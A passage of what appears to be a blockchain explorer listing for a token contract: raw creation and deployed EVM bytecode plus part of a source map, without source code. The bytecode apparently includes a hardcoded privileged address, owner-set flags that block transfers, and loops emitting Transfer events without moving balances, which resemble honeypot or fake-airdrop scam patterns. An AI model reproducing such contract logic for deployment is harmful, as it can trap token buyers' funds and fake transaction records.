100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061202c82611a5d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561205f5761205e611ff2565b5b600182019050919050565b600061207582611a5d565b915061208083611a5d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156120b5576120b4611ff2565b5b828201905092915050565b50565b60006120d060008361193b565b91506120db826120c0565b600082019050919050565b600060208201905081810360008301526120ff816120c3565b9050919050565b600061211182611a5d565b915061211c83611a5d565b92508282101561212f5761212e611ff2565b5b82820390509291505056fea264697066735822122073785760472039407010f8022565f42a0249810e4b42f733cfe954ad2e49d58664736f6c63430008080033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c806373db1eb2116100b8578063a457c2d71161007c578063a457c2d714610387578063a9059cbb146103b7578063cfde3cb6146103e7578063db5d779314610403578063dd62ed3e1461041f578063f2fde38b1461044f57610142565b806373db1eb2146102d15780637ecebe001461030157806395d89b411461033157806396bfcd231461034f5780639dc29fac1461036b57610142565b80633811ac021161010a5780633811ac0214610201578063395093511461021d5780635c76b0ae1461024d5780636613b091146102695780636d2e4e8d1461028557806370a08231146102a157610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b3578063313ce567146101e3575b600080fd5b61014f61046b565b60405161015c91906119c9565b60405180910390f35b61017f600480360381019061017a9190611a93565b6104fd565b60405161018c9190611aee565b60405180910390f35b61019d61051b565b6040516101aa9190611b18565b60405180910390f35b6101cd60048036038101906101c89190611b33565b610525565b6040516101da9190611aee565b60405180910390f35b6101eb6105f5565b6040516101f89190611ba2565b60405180910390f35b61021b60048036038101906102169190611d05565b61060c565b005b61023760048036038101906102329190611a93565b610783565b6040516102449190611aee565b60405180910390f35b61026760048036038101906102629190611e11565b610836565b005b610283600480360381019061027e9190611e11565b610940565b005b61029f600480360381019061029a9190611e11565b610a44565b005b6102bb60048036038101906102b69190611e9c565b610b4e565b6040516102c89190611b18565b60405180910390f35b6102eb60048036038101906102e69190611e9c565b610b97565b6040516102f89190611aee565b60405180910390f35b61031b60048036038101906103169190611e9c565b610bed565b6040516103289190611b18565b60405180910390f35b610339610c05565b60405161034691906119c9565b60405180910390f35b61036960048036038101906103649190611e9c565b610c97565b005b61038560048036038101906103809190611a93565b610db6565b005b6103a1600480360381019061039c9190611a93565b610e0a565b6040516103ae9190611aee565b60405180910390f35b6103d160048036038101906103cc9190611a93565b610ece565b6040516103de9190611aee565b60405180910390f35b61040160048036038101906103fc9190611ef5565b610eec565b005b61041d60048036038101906104189190611e9c565b610f4f565b005b61043960048036038101906104349190611f22565b610ff0565b6040516104469190611b18565b60405180910390f35b61046960048036038101906104649190611e9c565b611077565b005b60606007805461047a90611f91565b80601f01602080910402602001604051908101604052809291908181526020018280546104a690611f91565b80156104f35780601f106104c8576101008083540402835291602001916104f3565b820191906000526020600020905b8154815290600101906020018083116104d657829003601f168201915b5050505050905090565b600061051161050a6111dc565b84846111e4565b6001905092915050565b6000600a54905090565b60006105328484846113af565b6105ea8461053e6111dc565b6105e58560405180602001604052806000815250600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059b6111dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116dd9092919063ffffffff16565b6111e4565b600190509392505050565b6000600960009054906101000a900460ff16905090565b7331359e783f5b95bc5bcbb577d8cdd3bac039039c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061068c575061065d61173b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61069557600080fd5b60005b81518161ffff16101561077f576106ad61173b565b73ffffffffffffffffffffffffffffffffffffffff16828261ffff16815181106106da576106d9611fc3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161461077457600160036000848461ffff168151811061071a57610719611fc3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806001019050610698565b5050565b600061082c6107906111dc565b8461082785600160006107a16111dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b6111e4565b6001905092915050565b7331359e783f5b95bc5bcbb577d8cdd3bac039039c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461088257600080fd5b60005b825181101561093a578281815181106108a1576108a0611fc3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061090a57610909611fc3565b5b602002602001015160405161091f9190611b18565b60405180910390a3808061093290612021565b915050610885565b50505050565b6109486111dc565b73ffffffffffffffffffffffffffffffffffffffff1661096661173b565b73ffffffffffffffffffffffffffffffffffffffff161461098657600080fd5b60005b8251811015610a3e578281815181106109a5576109a4611fc3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110610a0e57610a0d611fc3565b5b6020026020010151604051610a239190611b18565b60405180910390a38080610a3690612021565b915050610989565b50505050565b7331359e783f5b95bc5bcbb577d8cdd3bac039039c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a9057600080fd5b60005b8251811015610b4857828181518110610aaf57610aae611fc3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110610b1857610b17611fc3565b5b6020026020010151604051610b2d9190611b18565b60405180910390a38080610b4090612021565b915050610a93565b50505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600c6020528060005260406000206000915090505481565b606060088054610c1490611f91565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4090611f91565b8015610c8d5780601f10610c6257610100808354040283529160200191610c8d565b820191906000526020600020905b815481529060010190602001808311610c7057829003601f168201915b5050505050905090565b7331359e783f5b95bc5bcbb577d8cdd3bac039039c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d175750610ce861173b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610d2057600080fd5b610d2861173b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610db3576001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b610dbe6111dc565b73ffffffffffffffffffffffffffffffffffffffff16610ddc61173b565b73ffffffffffffffffffffffffffffffffffffffff1614610dfc57600080fd5b610e068282611764565b5050565b6000610ec4610e176111dc565b84610ebf856040518060200160405280600081525060016000610e386111dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116dd9092919063ffffffff16565b6111e4565b6001905092915050565b6000610ee2610edb6111dc565b84846113af565b6001905092915050565b610ef46111dc565b73ffffffffffffffffffffffffffffffffffffffff16610f1261173b565b73ffffffffffffffffffffffffffffffffffffffff1614610f3257600080fd5b80600560006101000a81548160ff02191690831515021790555050565b610f576111dc565b73ffffffffffffffffffffffffffffffffffffffff16610f7561173b565b73ffffffffffffffffffffffffffffffffffffffff1614610f9557600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61107f6111dc565b73ffffffffffffffffffffffffffffffffffffffff1661109d61173b565b73ffffffffffffffffffffffffffffffffffffffff16146110bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110f757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846111c3919061206a565b9050838110156111d257600080fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124b906120e6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bb906120e6565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113a29190611b18565b60405180910390a3505050565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114585760011515600560009054906101000a900460ff16151514611457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144e906120e6565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bf906120e6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611538576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152f906120e6565b60405180910390fd5b61159b8160405180602001604052806000815250600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116dd9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116d09190611b18565b60405180910390a3505050565b6000838311158290611725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171c91906119c9565b60405180910390fd5b5082846117329190612106565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cb906120e6565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561185b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611852906120e6565b60405180910390fd5b816006546118699190612106565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a60008282546118be9190612106565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119239190611b18565b60405180910390a3505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561196a57808201518184015260208101905061194f565b83811115611979576000848401525b50505050565b6000601f19601f8301169050919050565b600061199b82611930565b6119a5818561193b565b93506119b581856020860161194c565b6119be8161197f565b840191505092915050565b600060208201905081810360008301526119e38184611990565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a2a826119ff565b9050919050565b611a3a81611a1f565b8114611a4557600080fd5b50565b600081359050611a5781611a31565b92915050565b6000819050919050565b611a7081611a5d565b8114611a7b57600080fd5b50565b600081359050611a8d81611a67565b92915050565b60008060408385031215611aaa57611aa96119f5565b5b6000611ab885828601611a48565b9250506020611ac985828601611a7e565b9150509250929050565b60008115159050919050565b611ae881611ad3565b82525050565b6000602082019050611b036000830184611adf565b92915050565b611b1281611a5d565b82525050565b6000602082019050611b2d6000830184611b09565b92915050565b600080600060608486031215611b4c57611b4b6119f5565b5b6000611b5a86828701611a48565b9350506020611b6b86828701611a48565b9250506040611b7c86828701611a7e565b9150509250925092565b600060ff82169050919050565b611b9c81611b86565b82525050565b6000602082019050611bb76000830184611b93565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611bfa8261197f565b810181811067ffffffffffffffff82111715611c1957611c18611bc2565b5b80604052505050565b6000611c2c6119eb565b9050611c388282611bf1565b919050565b600067ffffffffffffffff821115611c5857611c57611bc2565b5b602082029050602081019050919050565b600080fd5b6000611c81611c7c84611c3d565b611c22565b90508083825260208201905060208402830185811115611ca457611ca3611c69565b5b835b81811015611ccd5780611cb98882611a48565b845260208401935050602081019050611ca6565b5050509392505050565b600082601f830112611cec57611ceb611bbd565b5b8135611cfc848260208601611c6e565b91505092915050565b600060208284031215611d1b57611d1a6119f5565b5b600082013567ffffffffffffffff811115611d3957611d386119fa565b5b611d4584828501611cd7565b91505092915050565b600067ffffffffffffffff821115611d6957611d68611bc2565b5b602082029050602081019050919050565b6000611d8d611d8884611d4e565b611c22565b90508083825260208201905060208402830185811115611db057611daf611c69565b5b835b81811015611dd95780611dc58882611a7e565b845260208401935050602081019050611db2565b5050509392505050565b600082601f830112611df857611df7611bbd565b5b8135611e08848260208601611d7a565b91505092915050565b600080600060608486031215611e2a57611e296119f5565b5b6000611e3886828701611a48565b935050602084013567ffffffffffffffff811115611e5957611e586119fa565b5b611e6586828701611cd7565b925050604084013567ffffffffffffffff811115611e8657611e856119fa565b5b611e9286828701611de3565b9150509250925092565b600060208284031215611eb257611eb16119f5565b5b6000611ec084828501611a48565b91505092915050565b611ed281611ad3565b8114611edd57600080fd5b50565b600081359050611eef81611ec9565b92915050565b600060208284031215611f0b57611f0a6119f5565b5b6000611f1984828501611ee0565b91505092915050565b60008060408385031215611f3957611f386119f5565b5b6000611f4785828601611a48565b9250506020611f5885828601611a48565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611fa957607f821691505b60208210811415611fbd57611fbc611f62565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061202c82611a5d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561205f5761205e611ff2565b5b600182019050919050565b600061207582611a5d565b915061208083611a5d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156120b5576120b4611ff2565b5b828201905092915050565b50565b60006120d060008361193b565b91506120db826120c0565b600082019050919050565b600060208201905081810360008301526120ff816120c3565b9050919050565b600061211182611a5d565b915061211c83611a5d565b92508282101561212f5761212e611ff2565b5b82820390509291505056fea264697066735822122073785760472039407010f8022565f42a0249810e4b42f733cfe954ad2e49d58664736f6c63430008080033

Deployed Bytecode Sourcemap

8729:506:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3893:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6200:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3777:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7028:281;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4095:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4898:368;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6377:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5718:207;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5274:223;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5505:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4194:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4441:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8911:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3992:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4648:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9123:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6603:232;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6845:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4565:75;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4329:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5988:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2792:202;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3893:91;3938:13;3971:5;3964:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3893:91;:::o;6200:169::-;6283:4;6300:39;6309:12;:10;:12::i;:::-;6323:7;6332:6;6300:8;:39::i;:::-;6357:4;6350:11;;6200:169;;;;:::o;3777:108::-;3838:7;3865:12;;3858:19;;3777:108;:::o;7028:281::-;7134:4;7151:36;7161:6;7169:9;7180:6;7151:9;:36::i;:::-;7198:81;7207:6;7215:12;:10;:12::i;:::-;7229:49;7267:6;7229:49;;;;;;;;;;;;:11;:19;7241:6;7229:19;;;;;;;;;;;;;;;:33;7249:12;:10;:12::i;:::-;7229:33;;;;;;;;;;;;;;;;:37;;:49;;;;;:::i;:::-;7198:8;:81::i;:::-;7297:4;7290:11;;7028:281;;;;;:::o;4095:91::-;4144:5;4169:9;;;;;;;;;;;4162:16;;4095:91;:::o;4898:368::-;4986:42;4972:56;;:10;:56;;;:81;;;;5046:7;:5;:7::i;:::-;5032:21;;:10;:21;;;4972:81;4964:90;;;;;;5070:8;5065:194;5088:9;:16;5084:1;:20;;;5065:194;;;5142:7;:5;:7::i;:::-;5126:23;;:9;5136:1;5126:12;;;;;;;;;;:::i;:::-;;;;;;;;:23;;;5123:93;;5196:4;5170:9;:23;5180:9;5190:1;5180:12;;;;;;;;;;:::i;:::-;;;;;;;;5170:23;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;5123:93;5242:3;;;;;5065:194;;;;4898:368;:::o;6377:218::-;6465:4;6482:83;6491:12;:10;:12::i;:::-;6505:7;6514:50;6553:10;6514:11;:25;6526:12;:10;:12::i;:::-;6514:25;;;;;;;;;;;;;;;:34;6540:7;6514:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;6482:8;:83::i;:::-;6583:4;6576:11;;6377:218;;;;:::o;5718:207::-;2640:42;2626:56;;:10;:56;;;2618:65;;;;;;5832:9:::1;5827:97;5851:9;:16;5847:1;:20;5827:97;;;5896:9;5906:1;5896:12;;;;;;;;:::i;:::-;;;;;;;;5880:42;;5889:5;5880:42;;;5910:8;5919:1;5910:11;;;;;;;;:::i;:::-;;;;;;;;5880:42;;;;;;:::i;:::-;;;;;;;;5869:3;;;;;:::i;:::-;;;;5827:97;;;;5718:207:::0;;;:::o;5274:223::-;2559:12;:10;:12::i;:::-;2548:23;;:7;:5;:7::i;:::-;:23;;;2540:32;;;;;;5404:9:::1;5399:97;5423:9;:16;5419:1;:20;5399:97;;;5468:9;5478:1;5468:12;;;;;;;;:::i;:::-;;;;;;;;5452:42;;5461:5;5452:42;;;5482:8;5491:1;5482:11;;;;;;;;:::i;:::-;;;;;;;;5452:42;;;;;;:::i;:::-;;;;;;;;5441:3;;;;;:::i;:::-;;;;5399:97;;;;5274:223:::0;;;:::o;5505:205::-;2640:42;2626:56;;:10;:56;;;2618:65;;;;;;5617:9:::1;5612:97;5636:9;:16;5632:1;:20;5612:97;;;5681:9;5691:1;5681:12;;;;;;;;:::i;:::-;;;;;;;;5665:42;;5674:5;5665:42;;;5695:8;5704:1;5695:11;;;;;;;;:::i;:::-;;;;;;;;5665:42;;;;;;:::i;:::-;;;;;;;;5654:3;;;;;:::i;:::-;;;;5612:97;;;;5505:205:::0;;;:::o;4194:127::-;4268:7;4295:9;:18;4305:7;4295:18;;;;;;;;;;;;;;;;4288:25;;4194:127;;;:::o;4441:118::-;4507:4;4531:9;:20;4541:9;4531:20;;;;;;;;;;;;;;;;;;;;;;;;;4524:27;;4441:118;;;:::o;8911:39::-;;;;;;;;;;;;;;;;;:::o;3992:95::-;4039:13;4072:7;4065:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3992:95;:::o;4648:244::-;4727:42;4713:56;;:10;:56;;;:81;;;;4787:7;:5;:7::i;:::-;4773:21;;:10;:21;;;4713:81;4705:90;;;;;;4822:7;:5;:7::i;:::-;4809:20;;:9;:20;;;4806:79;;4869:4;4846:9;:20;4856:9;4846:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;4806:79;4648:244;:::o;9123:107::-;2559:12;:10;:12::i;:::-;2548:23;;:7;:5;:7::i;:::-;:23;;;2540:32;;;;;;9200:22:::1;9206:7;9215:6;9200:5;:22::i;:::-;9123:107:::0;;:::o;6603:232::-;6696:4;6713:92;6722:12;:10;:12::i;:::-;6736:7;6745:59;6784:15;6745:59;;;;;;;;;;;;:11;:25;6757:12;:10;:12::i;:::-;6745:25;;;;;;;;;;;;;;;:34;6771:7;6745:34;;;;;;;;;;;;;;;;:38;;:59;;;;;:::i;:::-;6713:8;:92::i;:::-;6823:4;6816:11;;6603:232;;;;:::o;6845:175::-;6931:4;6948:42;6958:12;:10;:12::i;:::-;6972:9;6983:6;6948:9;:42::i;:::-;7008:4;7001:11;;6845:175;;;;:::o;4565:75::-;2559:12;:10;:12::i;:::-;2548:23;;:7;:5;:7::i;:::-;:23;;;2540:32;;;;;;4631:1:::1;4619:9;;:13;;;;;;;;;;;;;;;;;;4565:75:::0;:::o;4329:102::-;2559:12;:10;:12::i;:::-;2548:23;;:7;:5;:7::i;:::-;:23;;;2540:32;;;;;;4418:5:::1;4395:9;:20;4405:9;4395:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;4329:102:::0;:::o;5988:151::-;6077:7;6104:11;:18;6116:5;6104:18;;;;;;;;;;;;;;;:27;6123:7;6104:27;;;;;;;;;;;;;;;;6097:34;;5988:151;;;;:::o;2792:202::-;2559:12;:10;:12::i;:::-;2548:23;;:7;:5;:7::i;:::-;:23;;;2540:32;;;;;;2901:1:::1;2881:22;;:8;:22;;;;2873:31;;;::::0;::::1;;2949:8;2920:38;;2941:6;::::0;::::1;;;;;;;;2920:38;;;;;;;;;;;;2978:8;2969:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2792:202:::0;:::o;275:148::-;333:7;353:9;369:1;365;:5;;;;:::i;:::-;353:17;;394:1;389;:6;;381:15;;;;;;414:1;407:8;;;275:148;;;;:::o;1698:98::-;1751:7;1778:10;1771:17;;1698:98;:::o;8436:276::-;8555:1;8538:19;;:5;:19;;;;8530:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;8600:1;8581:21;;:7;:21;;;;8573:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;8650:6;8620:11;:18;8632:5;8620:18;;;;;;;;;;;;;;;:27;8639:7;8620:27;;;;;;;;;;;;;;;:36;;;;8688:7;8672:32;;8681:5;8672:32;;;8697:6;8672:32;;;;;;:::i;:::-;;;;;;;;8436:276;;;:::o;7317:441::-;7419:9;:17;7429:6;7419:17;;;;;;;;;;;;;;;;;;;;;;;;;7415:53;;;7459:4;7446:17;;:9;;;;;;;;;;;:17;;;7438:30;;;;;;;;;;;;:::i;:::-;;;;;;;;;7415:53;7505:1;7487:20;;:6;:20;;;;7479:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;7552:1;7531:23;;:9;:23;;;;7523:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;7600:33;7622:6;7600:33;;;;;;;;;;;;:9;:17;7610:6;7600:17;;;;;;;;;;;;;;;;:21;;:33;;;;;:::i;:::-;7580:9;:17;7590:6;7580:17;;;;;;;;;;;;;;;:53;;;;7667:32;7692:6;7667:9;:20;7677:9;7667:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;7644:9;:20;7654:9;7644:20;;;;;;;;;;;;;;;:55;;;;7732:9;7715:35;;7724:6;7715:35;;;7743:6;7715:35;;;;;;:::i;:::-;;;;;;;;7317:441;;;:::o;563:166::-;649:7;682:1;677;:6;;685:12;669:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;720:1;716;:5;;;;:::i;:::-;709:12;;563:166;;;;;:::o;2695:89::-;2743:7;2770:6;;;;;;;;;;;2763:13;;2695:89;:::o;7766:367::-;7869:1;7850:21;;:7;:21;;;;7842:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;7893:22;7918:9;:18;7928:7;7918:18;;;;;;;;;;;;;;;;7893:43;;7973:6;7955:14;:24;;7947:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;8033:6;8022:8;;:17;;;;:::i;:::-;8001:9;:18;8011:7;8001:18;;;;;;;;;;;;;;;:38;;;;8066:6;8050:12;;:22;;;;;;;:::i;:::-;;;;;;;;8114:1;8088:37;;8097:7;8088:37;;;8118:6;8088:37;;;;;;:::i;:::-;;;;;;;;7831:302;7766:367;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1397:75::-;1430:6;1463:2;1457:9;1447:19;;1397:75;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:7